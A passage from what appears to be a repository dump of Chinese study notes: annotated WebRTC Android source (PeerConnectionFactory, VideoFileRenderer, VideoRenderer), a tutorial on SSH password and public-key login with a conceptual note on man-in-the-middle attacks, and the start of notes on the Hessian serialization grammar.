//关闭内部描述\n  public static native void shutdownInternalTracer();\n\n  //打开或关闭内部追踪\n  // Start/stop internal capturing of internal tracing.\n  public static native boolean startInternalTracingCapture(String tracing_filename);\n  public static native void stopInternalTracingCapture();\n```\n\n\n```\n  //工厂的构造方法，从标签来看，是不建议我们直接使用的\n  @Deprecated\n  public PeerConnectionFactory() {\n    this(null);\n  }\n```\n\n```\n  //工厂类的构造方法，调用native层穿进去一组参数\n  public PeerConnectionFactory(Options options) {\n    nativeFactory = nativeCreatePeerConnectionFactory(options);\n    if (nativeFactory == 0) {\n      throw new RuntimeException(\"Failed to initialize PeerConnectionFactory!\");\n    }\n  }\n```\n\n```\n//两种创建PeerConnection的方法，要的参数实质上是一样，返回的也一样，目前不明白区别。。。\n public PeerConnection createPeerConnection(PeerConnection.RTCConfiguration rtcConfig,\n      MediaConstraints constraints, PeerConnection.Observer observer) {\n    long nativeObserver = nativeCreateObserver(observer);\n    if (nativeObserver == 0) {\n      return null;\n    }\n    long nativePeerConnection =\n        nativeCreatePeerConnection(nativeFactory, rtcConfig, constraints, nativeObserver);\n    if (nativePeerConnection == 0) {\n      return null;\n    }\n    return new PeerConnection(nativePeerConnection, nativeObserver);\n  }\n\n  public PeerConnection createPeerConnection(List<PeerConnection.IceServer> iceServers,\n      MediaConstraints constraints, PeerConnection.Observer observer) {\n    PeerConnection.RTCConfiguration rtcConfig = new PeerConnection.RTCConfiguration(iceServers);\n    return createPeerConnection(rtcConfig, constraints, observer);\n  }\n```\n\n```\n  //创建本地媒体流\n  public MediaStream createLocalMediaStream(String label) {\n    return new MediaStream(nativeCreateLocalMediaStream(nativeFactory, label));\n  }\n```\n\n```\n  //创建视频资源，调用的都是native层的代码\n public VideoSource createVideoSource(VideoCapturer capturer) {\n    final EglBase.Context eglContext =\n        localEglbase == null ? null : localEglbase.getEglBaseContext();\n    long nativeAndroidVideoTrackSource =\n        nativeCreateVideoSource(nativeFactory, eglContext, capturer.isScreencast());\n    VideoCapturer.CapturerObserver capturerObserver =\n        new VideoCapturer.AndroidVideoTrackSourceObserver(nativeAndroidVideoTrackSource);\n    nativeInitializeVideoCapturer(\n        nativeFactory, capturer, nativeAndroidVideoTrackSource, capturerObserver);\n    return new VideoSource(nativeAndroidVideoTrackSource);\n  }\n```\n\n```\n//创建音频资源\npublic AudioSource createAudioSource(MediaConstraints constraints) {\n    return new AudioSource(nativeCreateAudioSource(nativeFactory, constraints));\n  }\n```\n\n```\n//创建视频足记与音频足记\npublic VideoTrack createVideoTrack(String id, VideoSource source) {\n    return new VideoTrack(nativeCreateVideoTrack(nativeFactory, id, source.nativeSource));\n  }\n\npublic AudioTrack createAudioTrack(String id, AudioSource source) {\n    return new AudioTrack(nativeCreateAudioTrack(nativeFactory, id, source.nativeSource));\n  }\n```\n\n```\n  // Starts recording an AEC dump. Ownership of the file is transfered to the\n  // native code. If an AEC dump is already in progress, it will be stopped and\n  // a new one will start using the provided file.\n  //使用一定文件空间转码\n  public boolean startAecDump(int file_descriptor, int filesize_limit_bytes) {\n    return nativeStartAecDump(nativeFactory, file_descriptor, filesize_limit_bytes);\n  }\n\n  // Stops recording an AEC dump. If no AEC dump is currently being recorded,\n  // this call will have no effect.\n  //停止转码\n  public void stopAecDump() {\n    nativeStopAecDump(nativeFactory);\n  }\n```\n\n```\n//设置状态，对应无参数的构造方法，同样不建议被使用\n@Deprecated\n  public void setOptions(Options options) {\n    nativeSetOptions(nativeFactory, options);\n  }\n```\n\n```\n  \n  public void setVideoHwAccelerationOptions(\n      EglBase.Context localEglContext, EglBase.Context remoteEglContext) {\n    if (localEglbase != null) {\n      Logging.w(TAG, \"Egl context already set.\");\n      localEglbase.release();\n    }\n    if (remoteEglbase != null) {\n      Logging.w(TAG, \"Egl context already set.\");\n      remoteEglbase.release();\n    }\n    localEglbase = EglBase.create(localEglContext);\n    remoteEglbase = EglBase.create(remoteEglContext);\n    nativeSetVideoHwAccelerationOptions(\n        nativeFactory, localEglbase.getEglBaseContext(), remoteEglbase.getEglBaseContext());\n  }\n```\n\n```\n  //处理掉，关闭的\n public void dispose() {\n    nativeFreeFactory(nativeFactory);\n    networkThread = null;\n    workerThread = null;\n    signalingThread = null;\n    if (localEglbase != null)\n      localEglbase.release();\n    if (remoteEglbase != null)\n      remoteEglbase.release();\n  }\n```\n\n```\n//回调线程\npublic void threadsCallbacks() {\n    nativeThreadsCallbacks(nativeFactory);\n  }\n```\n\n```\n  //输出现在的调用帧\n  private static void printStackTrace(Thread thread, String threadName) {\n    if (thread != null) {\n      StackTraceElement[] stackTraces = thread.getStackTrace();\n      if (stackTraces.length > 0) {\n        Logging.d(TAG, threadName + \" stacks trace:\");\n        for (StackTraceElement stackTrace : stackTraces) {\n          Logging.d(TAG, stackTrace.toString());\n        }\n      }\n    }\n  }\n\n  public static void printStackTraces() {\n    printStackTrace(networkThread, \"Network thread\");\n    printStackTrace(workerThread, \"Worker thread\");\n    printStackTrace(signalingThread, \"Signaling thread\");\n  }\n```\n\n```\n  //当线程准备完毕\n  private static void onNetworkThreadReady() {\n    networkThread = Thread.currentThread();\n    Logging.d(TAG, \"onNetworkThreadReady\");\n  }\n\n  private static void onWorkerThreadReady() {\n    workerThread = Thread.currentThread();\n    Logging.d(TAG, \"onWorkerThreadReady\");\n  }\n\n  private static void onSignalingThreadReady() {\n    signalingThread = Thread.currentThread();\n    Logging.d(TAG, \"onSignalingThreadReady\");\n  }\n```\n\n\n```\n  //native层代码\n\n  //创建peerConnectionFactory\n  private static native long nativeCreatePeerConnectionFactory(Options options);\n\n  //创建回调的listener\n  private static native long nativeCreateObserver(PeerConnection.Observer observer);\n\n  //创建peerConnection\n  private static native long nativeCreatePeerConnection(long nativeFactory,\n      PeerConnection.RTCConfiguration rtcConfig, MediaConstraints constraints, long nativeObserver);\n\n  //创建本地的媒体流\n  private static native long nativeCreateLocalMediaStream(long nativeFactory, String label);\n\n  //创建音频资源\n  private static native long nativeCreateVideoSource(\n      long nativeFactory, EglBase.Context eglContext, boolean is_screencast);\n\n  //初始化视频的资源\n  private static native void nativeInitializeVideoCapturer(long native_factory,\n      VideoCapturer j_video_capturer, long native_source,\n      VideoCapturer.CapturerObserver j_frame_observer);\n  \n  //创建视频足记\n  private static native long nativeCreateVideoTrack(\n      long nativeFactory, String id, long nativeVideoSource);\n  \n  //创建音频资源\n  private static native long nativeCreateAudioSource(\n      long nativeFactory, MediaConstraints constraints);\n  \n  //创建音频足记\n  private static native long nativeCreateAudioTrack(\n      long nativeFactory, String id, long nativeSource);\n\n  //开启ace转码\n  private static native boolean nativeStartAecDump(\n      long nativeFactory, int file_descriptor, int filesize_limit_bytes);\n\n  //关闭ace转码\n  private static native void nativeStopAecDump(long nativeFactory);\n\n  //设置配置\n  @Deprecated public native void nativeSetOptions(long nativeFactory, Options options);\n\n  //设置怎么样的转码方式，加速的方式\n  private static native void nativeSetVideoHwAccelerationOptions(\n      long nativeFactory, Object localEGLContext, Object remoteEGLContext);\n  \n  //不同线程的回调\n  private static native void nativeThreadsCallbacks(long nativeFactory);\n\n  //释放factory的控件\n  private static native void nativeFreeFactory(long nativeFactory);\n```\n\n\n\n\n```\n  //各种编码格式的相互转换\n  public static native void nativeARGBToNV21(byte[] src, int width, int height, byte[] dst);\n  \n  public static native void nativeRGBAToNV21(byte[] src, int width, int height, byte[] dst);\n  \n  public static native void nativeNV21ToARGB(byte[] src, int width, int height, byte[] dst);\n  \n  public static native void nativeNV12ToNV21(byte[] src, int width, int height);\n\n  public static native void nativeI420ToARGB(byte[] src, int width, int height, byte[] dst);\n\n  public static native void nativeI420ToNV21(byte[] src, int width, int height, byte[] dst);\n```\n\n----\n\n以上便是rtc中的peerConnection类~\n以上便是博主的一点点的小见解，欢迎大家和我讨论~~\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——VideoFileRenderer解析.md",
    "content": "> VideoFileRenderer实现了VideoRenderer的Callbacks，可以回调到产生的Frame。\n它的主要功能是将产生的视频流以文件的形式存储在本地。\n\n```\n  //定义一个新的工作的线程\n  private final HandlerThread renderThread;\n\n  //定义一个线程锁\n  private final Object handlerLock = new Object();\n\n  //定义一个Handler\n  private final Handler renderThreadHandler;\n\n  //文件输出的流\n  private final FileOutputStream videoOutFile;\n\n  //流的属性\n  private final int outputFileWidth;\n  private final int outputFileHeight;\n\n  //帧的数量\n  private final int outputFrameSize;\n\n  //一个输出的Buffer\n  private final ByteBuffer outputFrameBuffer;\n\n  //全局的上下文\n  private EglBase eglBase;\n\n  //信号的转化\n  private YuvConverter yuvConverter;\n```\n\n```\n//构造方法，四个参数分别是目标文件，文件的宽，文件的高度，上下文\npublic VideoFileRenderer(String outputFile, int outputFileWidth, int outputFileHeight,\n      final EglBase.Context sharedContext) throws IOException {\n    //向外写文件宽高都应该是偶数\n    if ((outputFileWidth % 2) == 1 || (outputFileHeight % 2) == 1) {\n      throw new IllegalArgumentException(\"Does not support uneven width or height\");\n    }\n\n    this.outputFileWidth = outputFileWidth;\n    this.outputFileHeight = outputFileHeight;\n    \n    //计算frameSize\n    outputFrameSize = outputFileWidth * outputFileHeight * 3 / 2;\n    outputFrameBuffer = ByteBuffer.allocateDirect(outputFrameSize);\n\n    //写文件\n    videoOutFile = new FileOutputStream(outputFile);\n    videoOutFile.write(\n        (\"YUV4MPEG2 C420 W\" + outputFileWidth + \" H\" + outputFileHeight + \" Ip F30:1 A1:1\\n\")\n            .getBytes());\n\n    //开启一个新线程\n    renderThread = new HandlerThread(TAG);\n    renderThread.start();\n    renderThreadHandler = new Handler(renderThread.getLooper());\n\n    ThreadUtils.invokeAtFrontUninterruptibly(renderThreadHandler, new Runnable() {\n      @Override\n      public void run() {\n        //在新的线程中初始化全局，并且进行编码转化\n        eglBase = EglBase.create(sharedContext, EglBase.CONFIG_PIXEL_BUFFER);\n        eglBase.createDummyPbufferSurface();\n        eglBase.makeCurrent();\n        yuvConverter = new YuvConverter();\n      }\n    });\n  }\n\n```\n\n```\n@Override\n  public void renderFrame(final VideoRenderer.I420Frame frame) {\n    renderThreadHandler.post(new Runnable() {\n      @Override\n      public void run() {\n        //当有流产生的时候要进行回调4\n        renderFrameOnRenderThread(frame);\n      }\n    });\n  }\n\n  private void renderFrameOnRenderThread(VideoRenderer.I420Frame frame) {\n    //呈现画面在新的线程中\n\n    //画面呈现的比例\n    final float frameAspectRatio = (float) frame.rotatedWidth() / (float) frame.rotatedHeight();\n\n    //旋转抽样矩阵\n    final float[] rotatedSamplingMatrix =\n        RendererCommon.rotateTextureMatrix(frame.samplingMatrix, frame.rotationDegree);\n\n\n    final float[] layoutMatrix = RendererCommon.getLayoutMatrix(\n        false, frameAspectRatio, (float) outputFileWidth / outputFileHeight);\n    final float[] texMatrix = RendererCommon.multiplyMatrices(rotatedSamplingMatrix, layoutMatrix);\n\n    //==========以下是图像处理的代码，真的看不太懂，日后钻研明白再来解析====================\n    try {\n      videoOutFile.write(\"FRAME\\n\".getBytes());\n      if (!frame.yuvFrame) {\n        yuvConverter.convert(outputFrameBuffer, outputFileWidth, outputFileHeight, outputFileWidth,\n            frame.textureId, texMatrix);\n\n        int stride = outputFileWidth;\n        byte[] data = outputFrameBuffer.array();\n        int offset = outputFrameBuffer.arrayOffset();\n\n        // Write Y\n        videoOutFile.write(data, offset, outputFileWidth * outputFileHeight);\n\n        // Write U\n        for (int r = outputFileHeight; r < outputFileHeight * 3 / 2; ++r) {\n          videoOutFile.write(data, offset + r * stride, stride / 2);\n        }\n\n        // Write V\n        for (int r = outputFileHeight; r < outputFileHeight * 3 / 2; ++r) {\n          videoOutFile.write(data, offset + r * stride + stride / 2, stride / 2);\n        }\n      } else {\n        nativeI420Scale(frame.yuvPlanes[0], frame.yuvStrides[0], frame.yuvPlanes[1],\n            frame.yuvStrides[1], frame.yuvPlanes[2], frame.yuvStrides[2], frame.width, frame.height,\n            outputFrameBuffer, outputFileWidth, outputFileHeight);\n        videoOutFile.write(\n            outputFrameBuffer.array(), outputFrameBuffer.arrayOffset(), outputFrameSize);\n      }\n    } catch (IOException e) {\n      Logging.e(TAG, \"Failed to write to file for video out\");\n      throw new RuntimeException(e);\n    } finally {\n      VideoRenderer.renderFrameDone(frame);\n    }\n  }\n\n```\n\n```\n//释放资源，关闭文件等处理\npublic void release() {\n    final CountDownLatch cleanupBarrier = new CountDownLatch(1);\n    renderThreadHandler.post(new Runnable() {\n      @Override\n      public void run() {\n        try {\n          videoOutFile.close();\n        } catch (IOException e) {\n          Logging.d(TAG, \"Error closing output video file\");\n        }\n        yuvConverter.release();\n        eglBase.release();\n        renderThread.quit();\n        cleanupBarrier.countDown();\n      }\n    });\n    ThreadUtils.awaitUninterruptibly(cleanupBarrier);\n  }\n\n```\n\n"
  },
  {
    "path": "docs/android/AndroidNote/webRTC相关/WebRTC——VideoRenderer解析.md",
    "content": "> VideoRenderer的目的是让链接定义他们自己的渲染行为，这个是通过回调产生的，这个方法同样体统了一个创建GUI的方法，用来创建GUI渲染器在各种各样的平台上面。\n需要注意的是，frame只能通过native层进行构建。\n\n```\n  //这是I420的一个对象的类，I420是视频编码的一种方式\n  public static class I420Frame {\n    public final int width;\n    public final int height;\n    public int[] yuvStrides;      //信号的频幅\n    public ByteBuffer[] yuvPlanes;    //平面的色差信号\n    public final boolean yuvFrame;    //是否有帧的色差信号\n    // Matrix that transforms standard coordinates to their proper sampling locations in\n    // the texture. This transform compensates for any properties of the video source that\n    // cause it to appear different from a normalized texture. This matrix does not take\n    // |rotationDegree| into account.\n    //抽样矩阵\n    //将标准坐标转换为纹理中适当采样位置的矩阵。该转换补偿视频源的任何属性，使其与标准化纹理不同。这个矩阵不采取rotationdegree考虑\n    public final float[] samplingMatrix;\n    //结构Id\n    public int textureId;\n    // Frame pointer in C++.指针\n    private long nativeFramePointer;\n\n    // rotationDegree is the degree that the frame must be rotated clockwisely\n    // to be rendered correctly.\n    //旋转的角度应该是以顺时针的角度为标准\n    public int rotationDegree;\n\n    /**\n     * Construct a frame of the given dimensions with the specified planar data.\n     */\n    //构造方法，并且旋转的角度必须是90的整数倍\n    I420Frame(int width, int height, int rotationDegree, int[] yuvStrides, ByteBuffer[] yuvPlanes,\n        long nativeFramePointer) {\n      this.width = width;\n      this.height = height;\n      this.yuvStrides = yuvStrides;\n      this.yuvPlanes = yuvPlanes;\n      this.yuvFrame = true;\n      this.rotationDegree = rotationDegree;\n      this.nativeFramePointer = nativeFramePointer;\n      if (rotationDegree % 90 != 0) {\n        throw new IllegalArgumentException(\"Rotation degree not multiple of 90: \" + rotationDegree);\n      }\n      // The convention in WebRTC is that the first element in a ByteBuffer corresponds to the\n      // top-left corner of the image, but in glTexImage2D() the first element corresponds to the\n      // bottom-left corner. This discrepancy is corrected by setting a vertical flip as sampling\n      // matrix.\n      // clang-format off\n      samplingMatrix = new float[] {\n          1,  0, 0, 0,\n          0, -1, 0, 0,\n          0,  0, 1, 0,\n          0,  1, 0, 1};\n      // clang-format on\n    }\n\n    /**\n     * Construct a texture frame of the given dimensions with data in SurfaceTexture\n     */\n    //另一个构造方法，只是需要手动传入一个矩阵\n    I420Frame(int width, int height, int rotationDegree, int textureId, float[] samplingMatrix,\n        long nativeFramePointer) {\n      this.width = width;\n      this.height = height;\n      this.yuvStrides = null;\n      this.yuvPlanes = null;\n      this.samplingMatrix = samplingMatrix;\n      this.textureId = textureId;\n      this.yuvFrame = false;\n      this.rotationDegree = rotationDegree;\n      this.nativeFramePointer = nativeFramePointer;\n      if (rotationDegree % 90 != 0) {\n        throw new IllegalArgumentException(\"Rotation degree not multiple of 90: \" + rotationDegree);\n      }\n    }\n\n    //获取宽和高\n    public int rotatedWidth() {\n      return (rotationDegree % 180 == 0) ? width : height;\n    }\n\n    public int rotatedHeight() {\n      return (rotationDegree % 180 == 0) ? height : width;\n    }\n\n    @Override\n    public String toString() {\n      return width + \"x\" + height + \":\" + yuvStrides[0] + \":\" + yuvStrides[1] + \":\" + yuvStrides[2];\n    }\n  }\n```\n\n```\n  //释放掉所有frame的做法\n  public static void renderFrameDone(I420Frame frame) {\n    frame.yuvPlanes = null;\n    frame.textureId = 0;\n    if (frame.nativeFramePointer != 0) {\n      releaseNativeFrame(frame.nativeFramePointer);\n      frame.nativeFramePointer = 0;\n    }\n  }\n```\n\n```\nlong nativeVideoRenderer;\n\n//构造方法，需要传进来一个callbacks\npublic VideoRenderer(Callbacks callbacks) {\n    nativeVideoRenderer = nativeWrapVideoRenderer(callbacks);\n  }\n```\n\n```\n  //销毁掉所有的方法\n  public void dispose() {\n    if (nativeVideoRenderer == 0) {\n      // Already disposed.\n      return;\n    }\n\n    freeWrappedVideoRenderer(nativeVideoRenderer);\n    nativeVideoRenderer = 0;\n  }\n```\n\n```\n//native层的初始化的方法\nprivate static native long nativeWrapVideoRenderer(Callbacks callbacks);\n```\n\n```\n//销毁\nprivate static native void freeWrappedVideoRenderer(long nativeVideoRenderer);\n//释放\nprivate static native void releaseNativeFrame(long nativeFramePointer);\n```\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/内存性能.md",
    "content": "内存泄漏性能优化总结\n\n* [Android内存泄漏总结.md](Android进阶/Android内存泄漏总结.md)\n* [Handler引起的内存泄漏的案例与分析](Android进阶/Handler引起的内存泄漏以及分析.md)\n* [Android性能优化.md](Android进阶/Android性能优化.md)\n* [LeakCanary的工作过程以及原理](Android性能优化相关/LeakCanary工作过程以及原理.md)\n"
  },
  {
    "path": "docs/android/AndroidNote/网络协议/SSH原理与应用.md",
    "content": "# SSH原理与应用\n\nssh在程序员的生活中还是非常常见的，ssh具有很多种功能，也可以用在很多种场合。\n\n## 什么是SSH\n\nSSH是一种网络协议，用于计算机之间的加密登录\n\n当我们在一台电脑上面，运用ssh登录了另一台计算机，我们便可以认为，这种登录是安全的了，因为即使中途被截获，我们的密码也不会泄漏。\n\n最早的时候，互联网通信都是明文通信，一旦被截获，内容就暴露无疑。1995年，芬兰学者Tatu Ylonen设计了SSH协议，将登录信息全部加密，成为互联网安全的一个基本解决方案，迅速在全世界获得推广，目前已经成为Linux系统的标准配置。\n\n需要指出的是，SSH只是一种协议，存在多种实现，既有商业实现，也有开源实现。本文针对的实现是OpenSSH，它是自由软件，应用非常广泛。\n\n此外，本文只讨论SSH在Linux Shell中的用法。如果要在Windows系统中使用SSH，会用到另一种软件PuTTY，这需要另文介绍。\n\n## 用法\n\n1. 登录远程服务器\n    ``ssh root@host``\n\n2. 如果当前用户与远程用户同名\n    ``ssh host``\n\n3. ssh默认的端口是22，如果我们要修改登录的默认端口\n    ``ssh -p xx root@host``    \n\n## 中间人攻击\n\nssh采用的是非对称加密，也就是要采用公钥和私钥的方式进行加密。\n\n整个通信的过程是这样的：\n1. 远程主机收到用户的登录请求，将公钥发送给用户\n2. 用户使用这个公钥，将登录的密码进行加密，发送给后台\n3. 远程主机，用自己的私钥进行解密，判断用户名密码是否正确\n\n整个过程看起来是很完美的，但是容易产生一种中间人攻击的现象：\n\n我们发送出去的登录的信息，被中途截获了，一个中间人，将他的公钥发送过来，这样用户加密之后，他便可以用自己的私钥解密了，这样他就拥有了我们的密码，并且可以一直在中间监听我们的通话。\n\n当然，这是基于口令的通信方式，我们也可以采用基于密钥的加密方式：\n\n第二种级别（基于密匙的安全验证）需要依靠密匙，也就是你必须为自己创建一对密匙，并把公用密匙放在需要访问的服务器上。 如果你要连接到SSH服务器上，客户端软件就会向服务器发出请求，请求用你的密匙进行安全验证。服务器收到请求之后，先在你在该服务器的家目录下寻找你的公用密匙，然后把它和你发送过来的公用密匙进行比较。如果两个密匙一致，服务器就用公用密匙加密“质询”（challenge）并把它发送给客户端软件。客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。\n\n这样我们便可以防止中间人攻击的现象了。\n\n\n## 口令登录\n\n```\n$ ssh user@host\nThe authenticity of host 'host (12.18.429.21)' can't be established.\nRSA key fingerprint is 98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d.\nAre you sure you want to continue connecting (yes/no)?\n```\n这段话的意思是，无法确认host主机的真实性，只知道它的公钥指纹，问你还想继续连接吗？\n所谓\"公钥指纹\"，是指公钥长度较长（这里采用RSA算法，长达1024位），很难比对，所以对其进行MD5计算，将它变成一个128位的指纹。上例中是98:2e:d7:e0:de:9f:ac:67:28:c2:42:2d:37:16:58:4d，再进行比较，就容易多了。\n很自然的一个问题就是，用户怎么知道远程主机的公钥指纹应该是多少？回答是没有好办法，远程主机必须在自己的网站上贴出公钥指纹，以便用户自行核对。\n假定经过风险衡量以后，用户决定接受这个远程主机的公钥。\n\n```\nAre you sure you want to continue connecting (yes/no)? yes\n```\n系统会出现一句提示，表示host主机已经得到认可。\n```\nWarning: Permanently added 'host,12.18.429.21' (RSA) to the list of known hosts.\n```\n然后，会要求输入密码。\n```\nPassword: (enter password)\n```\n如果密码正确，就可以登录了。\n当远程主机的公钥被接受以后，它就会被保存在文件$HOME/.ssh/known_hosts之中。下次再连接这台主机，系统就会认出它的公钥已经保存在本地了，从而跳过警告部分，直接提示输入密码。\n每个SSH用户都有自己的known_hosts文件，此外系统也有一个这样的文件，通常是/etc/ssh/ssh_known_hosts，保存一些对所有用户都可信赖的远程主机的公钥。\n\n\n\n## 公钥登录\n\n使用密码登录，每次都必须输入密码，非常麻烦。好在SSH还提供了公钥登录，可以省去输入密码的步骤。\n\n所谓\"公钥登录\"，原理很简单，就是用户将自己的公钥储存在远程主机上。登录的时候，远程主机会向用户发送一段随机字符串，用户用自己的私钥加密后，再发回来。远程主机用事先储存的公钥进行解密，如果成功，就证明用户是可信的，直接允许登录shell，不再要求密码。\n这种方法要求用户必须提供自己的公钥。如果没有现成的，可以直接用ssh-keygen生成一个：\n\n```\n$ ssh-keygen\n```\n\n运行上面的命令以后，系统会出现一系列提示，可以一路回车。其中有一个问题是，要不要对私钥设置口令（passphrase），如果担心私钥的安全，这里可以设置一个。\n运行结束以后，在$HOME/.ssh/目录下，会新生成两个文件：id_rsa.pub和id_rsa。前者是你的公钥，后者是你的私钥。\n这时再输入下面的命令，将公钥传送到远程主机host上面：\n\n```\n$ ssh-copy-id user@host\n```\n\n好了，从此你再登录，就不需要输入密码了。\n如果还是不行，就打开远程主机的/etc/ssh/sshd_config这个文件，检查下面几行前面\"#\"注释是否取掉。\n\n```\nRSAAuthentication yes\nPubkeyAuthentication yes\nAuthorizedKeysFile .ssh/authorized_keys\n```\n\n然后，重启远程主机的ssh服务。\n\n```\n    // ubuntu系统\n　　service ssh restart\n　　// debian系统\n　　/etc/init.d/ssh restart\n```\n\n## authorized_keys文件\n\n远程主机将用户的公钥，保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串，只要把它追加在authorized_keys文件的末尾就行了。\n\n这里不使用上面的ssh-copy-id命令，改用下面的命令，解释公钥的保存过程：\n\n```\n$ ssh user@host 'mkdir -p .ssh && cat >> .ssh/authorized_keys' < ~/.ssh/id_rsa.pub\n```\n\n这条命令由多个语句组成，依次分解开来看：（1）\"$ ssh user@host\"，表示登录远程主机；（2）单引号中的mkdir .ssh && cat >> .ssh/authorized_keys，表示登录后在远程shell上执行的命令：（3）\"$ mkdir -p .ssh\"的作用是，如果用户主目录中的.ssh目录不存在，就创建一个；（4）'cat >> .ssh/authorized_keys' < ~/.ssh/id_rsa.pub的作用是，将本地的公钥文件~/.ssh/id_rsa.pub，重定向追加到远程文件authorized_keys的末尾。\n写入authorized_keys文件后，公钥登录的设置就完成了。\n\n## 配置ssh config\n\n```\nvi ~/.ssh/config\n \n \n// 文件内容如下\n \nHost js //别名, 可以直接执行 ssh js\n \nHostName 172.16.6.84 //Host别名指向的服务器 IP\n \nUser zhangsan //登录所用的用户名\n \nPreferredAuthentications publickey //鉴权方式\n \nIdentityFile ~/.ssh/zhangsan.pem //认证所需的密钥\n```\n这样我们便可以通过``ssh js``来代替曾经的``ssh xxx@111.11.11.11``\n并且采用公钥+私钥的加密方式，不用输入密码，非常的方便。\n\n\n## 参考文献\n\n- [SSH原理与运用](http://www.ruanyifeng.com/blog/2011/12/ssh_remote_login.html)\n\n- [网络安全协议比较](http://blog.csdn.net/shizhixin/article/details/42459265)\n"
  },
  {
    "path": "docs/android/AndroidNote/网络协议/浅析Hessian协议.md",
    "content": "# 浅析Hessian协议\n\n> Hessian二进制的网络协议使不需要引入大型框架下就可以使用，并且不需要学习其它的入门的协议。因为它是二进制协议，它更擅长于发送二进制数据，而不需要引入其它附件去扩展它的协议。\n\nHessian支持很多种语言，例如Java，Flash/Flex,python,c++,.net/c#,D,Erlang,PHP,Ruby,Object C等\n\n下面我们就一起阅读一下Hessian2.0的文档，[文档链接](http://hessian.caucho.com/doc/hessian-serialization.html)\n\n## 介绍\n\nHessian是一个动态类型,二进制序列化,也是网络协议为了对象的定向传输。\n\n## 设计目标\n\nHessian是一个动态类型，简洁的，可以移植到各个语言\n\nHessian协议有以下的设计目标：\n\n1. 它必须自我描述序列化的类型，即不需要外部架构和接口定义\n2. 它必须是语言语言独立的，要支持包括脚本语言\n3. 它必须是可读可写的在单一的途径\n4. 它要尽可能的简洁\n5. 它必须是简单的，它可以有效地测试和实施\n6. 尽可能的快\n7. 必须要支持Unicode编码\n8. 它必须支持八位二进制文件，而不是逃避或者用附件\n9. 它必须支持加密,压缩,签名,还有事务的上下文\n\n\n## Hessian语法\n\n序列化语法：\n\n```\n\n           # starting production\ntop        ::= value\n\n           # 8-bit binary data split into 64k chunks\nbinary     ::= x41 b1 b0 <binary-data> binary # non-final chunk\n           ::= 'B' b1 b0 <binary-data>        # final chunk\n           ::= [x20-x2f] <binary-data>        # binary data of\n                                                 #  length 0-15\n           ::= [x34-x37] <binary-data>        # binary data of\n                                                 #  length 0-1023\n\n           # boolean true/false\nboolean    ::= 'T'\n           ::= 'F'\n\n           # definition for an object (compact map)\nclass-def  ::= 'C' string int string*\n\n           # time in UTC encoded as 64-bit long milliseconds since\n           #  epoch\ndate       ::= x4a b7 b6 b5 b4 b3 b2 b1 b0\n           ::= x4b b3 b2 b1 b0       # minutes since epoch\n\n           # 64-bit IEEE double\ndouble     ::= 'D' b7 b6 b5 b4 b3 b2 b1 b0\n           ::= x5b                   # 0.0\n           ::= x5c                   # 1.0\n           ::= x5d b0                # byte cast to double\n                                     #  (-128.0 to 127.0)\n           ::= x5e b1 b0             # short cast to double\n           ::= x5f b3 b2 b1 b0       # 32-bit float cast to double\n\n           # 32-bit signed integer\nint        ::= 'I' b3 b2 b1 b0\n           ::= [x80-xbf]             # -x10 to x3f\n           ::= [xc0-xcf] b0          # -x800 to x7ff\n           ::= [xd0-xd7] b1 b0       # -x40000 to x3ffff\n\n           # list/vector\nlist       ::= x55 type value* 'Z'   # variable-length list\n\t   ::= 'V' type int value*   # fixed-length list\n           ::= x57 value* 'Z'        # variable-length untyped list\n           ::= x58 int value*        # fixed-length untyped list\n\t   ::= [x70-77] type value*  # fixed-length typed list\n\t   ::= [x78-7f] value*       # fixed-length untyped list\n\n           # 64-bit signed long integer\nlong       ::= 'L' b7 b6 b5 b4 b3 b2 b1 b0\n           ::= [xd8-xef]             # -x08 to x0f\n           ::= [xf0-xff] b0          # -x800 to x7ff\n           ::= [x38-x3f] b1 b0       # -x40000 to x3ffff\n           ::= x59 b3 b2 b1 b0       # 32-bit integer cast to long\n\n           # map/object\nmap        ::= 'M' type (value value)* 'Z'  # key, value map pairs\n\t   ::= 'H' (value value)* 'Z'       # untyped key, value\n\n           # null value\nnull       ::= 'N'\n\n           # Object instance\nobject     ::= 'O' int value*\n\t   ::= [x60-x6f] value*\n\n           # value reference (e.g. circular trees and graphs)\nref        ::= x51 int            # reference to nth map/list/object\n\n           # UTF-8 encoded character string split into 64k chunks\nstring     ::= x52 b1 b0 <utf8-data> string  # non-final chunk\n           ::= 'S' b1 b0 <utf8-data>         # string of length\n                                             #  0-65535\n           ::= [x00-x1f] <utf8-data>         # string of length\n                                             #  0-31\n           ::= [x30-x34] <utf8-data>         # string of length\n                                             #  0-1023\n\n           # map/list types for OO languages\ntype       ::= string                        # type name\n           ::= int                           # type reference\n\n           # main production\nvalue      ::= null\n           ::= binary\n           ::= boolean\n           ::= class-def value\n           ::= date\n           ::= double\n           ::= int\n           ::= list\n           ::= long\n           ::= map\n           ::= object\n           ::= ref\n           ::= string\n\n```` \n\n## Serialization\n\nHessian的对象有八种原始类型：\n\n1. 原生二进制数据\n2. Boolean\n3. 64位毫秒值的日期\n4. 64位double\n5. 32位int\n6. 64位long\n7. null\n8. utf-8的string\n\n它有三种循环的类型：\n\n1. list for lists and arrays\n2. map for maps and dictionaries\n3. object for objects\n\n最后，他有一种特殊组成:\n\n1. 共享和循环对象引用\n\nHessian 2.0 有三种内置的map：\n\n1. 一个object/list参考的map\n2. 一个类参考定义的map\n3. 一个类参考的map\n\n### 4.1 二进制数据  \n\n```\nbinary ::= b b1 b0 <binary-data> binary\n       ::= B b1 b0 <binary-data>\n       ::= [x20-x2f] <binary-data>\n```\n\n二进制数据被编码成二进制编码块，'B'代表最后一块，'b'代表任编码块非最后一块的部分，每一个编码块有16 bit的长度。\n\nlen = 256 * b1 + b0\n\n### 4.1.1 可压缩：短的二进制\n\n```\nBinary data with length less than 15 may be encoded by a single octet length [x20-x2f].\n\nlen = code - 